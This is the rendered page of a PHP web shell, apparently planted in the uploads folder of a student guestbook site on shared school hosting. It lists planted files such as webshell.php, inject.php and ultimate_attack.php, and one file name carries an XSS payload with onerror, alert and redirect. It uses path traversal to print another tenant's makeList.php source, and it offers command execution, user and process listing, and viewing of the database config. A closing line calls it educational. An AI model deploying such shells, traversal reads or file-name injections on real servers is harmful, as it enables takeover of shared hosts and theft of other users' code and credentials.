🐚 WEB SHELL ACTIVATED

πŸ“ File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

πŸ“„ ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
πŸ“ ..
πŸ“„ 003b15869ae62d2ceeee451a5f652dd6.png [view]
πŸ“„ 0tk5j14v024b1.jpg [view]
πŸ“„ 300px-Cursed_Cat.jpg [view]
πŸ“„ 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
πŸ“„ Bill-Gates-Paul-Allen-2013.jpg [view]
πŸ“„ CV Jasper Kramp.png [view]
πŸ“„ Cat profile.png [view]
πŸ“„ Fronalpstock_big.jpg [view]
πŸ“„ Krik en las.jpg [view]
πŸ“„ Krik.jpg [view]
πŸ“„ Pino-dood-03.jpg [view]
πŸ“„ Shellz.php [view]
πŸ“„ Ted_Kaczynski_2_(cropped).jpg [view]
πŸ“„ Tux.svg.png [view]
πŸ“„ Z.png [view]
πŸ“„ android.jpg [view]
πŸ“„ apple.php [view]
πŸ“„ cianancatfish.jpg [view]
πŸ“„ downloads (1).jpeg [view]
πŸ“„ downloads.jpeg [view]
πŸ“„ epresso.jpg [view]
πŸ“„ fake_photo.png [view]
πŸ“„ hand.jpg [view]
πŸ“„ https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
πŸ“„ image.png [view]
πŸ“„ images.jpeg [view]
πŸ“„ info.php [view]
πŸ“„ inject.php [view]
πŸ“„ instant_redirect.jpg [view]
πŸ“„ japper.jpg [view]
πŸ“„ koekiemonster-3.jpg [view]
πŸ“„ logo.png [view]
πŸ“„ muis.jpg [view]
πŸ“„ people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
πŸ“„ picobellobv.jpeg [view]
πŸ“„ redirect.php [view]
πŸ“„ rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
πŸ“„ sdfsa.png [view]
πŸ“„ sneaky.svg [view]
πŸ“„ taylor.webp [view]
πŸ“„ test.html [view]
πŸ“„ testpreg.php [view]
πŸ“„ testpreg1.php [view]
πŸ“„ testtest.php.JPG [view]
πŸ“„ ultimate_attack.gif [view]
πŸ“„ ultimate_attack.php [view]
πŸ“„ ultimate_attack.svg [view]
πŸ“„ wallpaper.jpg [view]
πŸ“„ webshell.php [view]

πŸ“„ Viewing: ./../../../../583521.klas4s23.mid-ica.nl/public_html/e-learing/makeList.php

<?php
session_start();

require 'database.php';

// Handle form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $name = $_POST['list_name'];
    $mode = $_POST['list_mode'];
    $questions = json_encode($_POST['questions']);
    $answers = json_encode($_POST['answers']);

    // Haal de user_id uit de sessie
    $user_id = $_SESSION['user_id'];

    // Voeg de user_id toe aan de query
    $stmt = $pdo->prepare("INSERT INTO lists (name, mode, questions, answers, user_id) VALUES (?, ?, ?, ?, ?)");
    $stmt->execute([$name, $mode, $questions, $answers, $user_id]);

    // Redirect naar dashboard.php na het indienen
    header("Location: dashboard.php");
    exit;
}

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Formulier</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="list-container">
       <a href="dashboard.php"><button class="back-button">Terug</button></a>

        <form method="POST" action="">
            <div class="form-group">
                <label for="list-name">Naam van de quiz:</label>
                <input type="text" id="list-name" name="list_name" required>
            </div>

            <div class="form-group">
                <label for="list-mode">Mode van de quiz:</label>
                <select id="list-mode" name="list_mode">
                    <option value="">Kies een mode</option>
                    <option value="privΓ©">PrivΓ©</option>
                    <option value="openbaar">Openbaar</option>
                </select>
            </div>

            <!-- Questions and answers container -->
            <div id="question-answer-container">
                <div class="question-answer">
                    <div class="form-group">
                        <label for="question1">Vraag 1:</label>
                        <input type="text" id="question1" name="questions[]" required>
                    </div>
                    <div class="form-group">
                        <label for="answer1">Antwoord 1:</label>
                        <input type="text" id="answer1" name="answers[]" required>
                    </div>
                    <button type="button" class="remove-question-btn">Verwijder</button>
                </div>
            </div>
            
            <!-- Button to add more questions -->
            <button type="button" id="addQuestionBtn" class="add-question">Klik hier voor 1 vraag en antwoord vak erbij</button>

            <button type="submit" class="submit-button">Maak quiz</button>
        </form>
    </div>

    <script>
    document.getElementById('addQuestionBtn').addEventListener('click', function() {
        // Get the question-answer container
        const container = document.getElementById('question-answer-container');

        // Get the number of existing questions to create unique IDs
        const questionCount = container.getElementsByClassName('question-answer').length + 1;

        // Create a new question-answer block
        const newQuestionAnswer = document.createElement('div');
        newQuestionAnswer.className = 'question-answer';

        newQuestionAnswer.innerHTML = `
            <div class="form-group">
                <label for="question${questionCount}">Vraag ${questionCount}:</label>
                <input type="text" id="question${questionCount}" name="questions[]" required>
            </div>
            <div class="form-group">
                <label for="answer${questionCount}">Antwoord ${questionCount}:</label>
                <input type="text" id="answer${questionCount}" name="answers[]" required>
            </div>
            <button type="button" class="remove-question-btn">Verwijder</button>
        `;

        // Append the new question-answer block to the container
        container.appendChild(newQuestionAnswer);

        // Add event listener to remove the question-answer block when the remove button is clicked
        const removeButton = newQuestionAnswer.querySelector('.remove-question-btn');
        removeButton.addEventListener('click', function() {
            container.removeChild(newQuestionAnswer);
        });
    });
</script>
    
</body>
</html>

🎯 Available Actions

Command Execution:

Quick Commands:

πŸ“‹ List files | πŸ‘€ Show user | πŸ“ Show directory | πŸ”„ Show processes | πŸ” Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | πŸ” View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!